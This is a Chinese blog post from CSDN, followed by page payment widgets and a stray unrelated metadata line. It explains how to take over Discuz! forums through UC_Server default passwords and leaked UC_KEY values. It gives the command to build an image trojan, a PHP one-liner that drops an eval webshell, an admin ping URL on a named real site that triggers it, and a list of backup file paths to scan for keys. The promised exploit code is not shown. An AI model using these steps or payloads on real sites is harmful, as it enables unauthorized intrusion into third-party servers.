DZ拿shell总结

本文介绍了如何利用UC_KEY和UC_Server的默认密码来获取Discuz论坛的shell。通过UC_Server可以重置管理员密码或者直接拿shell。此外,详细讲述了如何通过扫描特定文件获取UC_KEY,以及如何利用UC_KEY在不同版本的Discuz中获取webshell。提供了PHP和Python版本的exp代码,用于在Discuz X1.5, X2.5, X3上获取webshell。" 107959505,9994133,IDEA连接MySQL时区错误解决,"['数据库', 'IDEA', 'MySQL', '连接问题', '配置']
摘要由CSDN通过智能技术生成

今天碰到一个dz的站,好久没拿了 ,拿下shell觉得应该总结一下

Uc_server默认密码

其实有了UC_SERVER就是有了网站的全部权限了,有了UC_SERVER你可以重置管理员密码

可以进后台拿shell,当然你也可以不进后台拿,因为我觉得UC_server更好拿

先说一下UCkey拿shell,uckey可以进uc_server后台看

附一张dz3的图

当然有了uc-server的权限可以直接拿shell的

下面我演示直接拿shell

首先上传一张图片马到论坛

/data/attachment/forum/201511/07//174818npewlpqlzaepi9dw.jpg

图片木马制作:copy 1.jpg/b+1.txt/a 2.jpg

  1. txt内容
  2. <?php fputs(fopen('f.php','w'),'<?php eval($_POST[f])?>');?>
  3. 在当前目录下生成一句话f.php

应用管理 添加应用

添加应用

填好了内容之后,访问应用连接

http://newbbs.play.ifeng.com/uc_server/admin.php?m=app&a=ping&appid=【应用id

应用id在应用列表里有

uc_server目录下会生成f.php 密码f

菜刀连接之

下面讲利用uc_key拿shell

通常可以通过扫描这些文件获取DiscuzUC_KEY

/config/config_global.php.bak
/uc_server/data/config.inc.php.bak
/config/config_global.php.zip
/config/config_global.php.rar
/config/config_global.tar.gz
/uc_server/data/config.inc.php.zip
/wwwroot.zip
/wwwroot.rar
/www.rar
/www.zip
/web.rar
/web.zip
/webbak.zip

UC_KEYconfig/config_ucenter.php里面

 

Discuz X1.5 X2.5 X3uc_keyget webshell

uc_keyUC客户端与服务端通信的通信密钥。因此使用uc_keyfetshell只能获取UCenter Clientwebshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的(不过可以通过uc_key来将服务器上的数据并重置用户口令,后面讲)。

90分享的php版的exp代码,但uc_keyurl是嵌入在代码中的,因此导致使用不方便。所以我将代码改成python版的,以后使用就方便了。代码如下:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值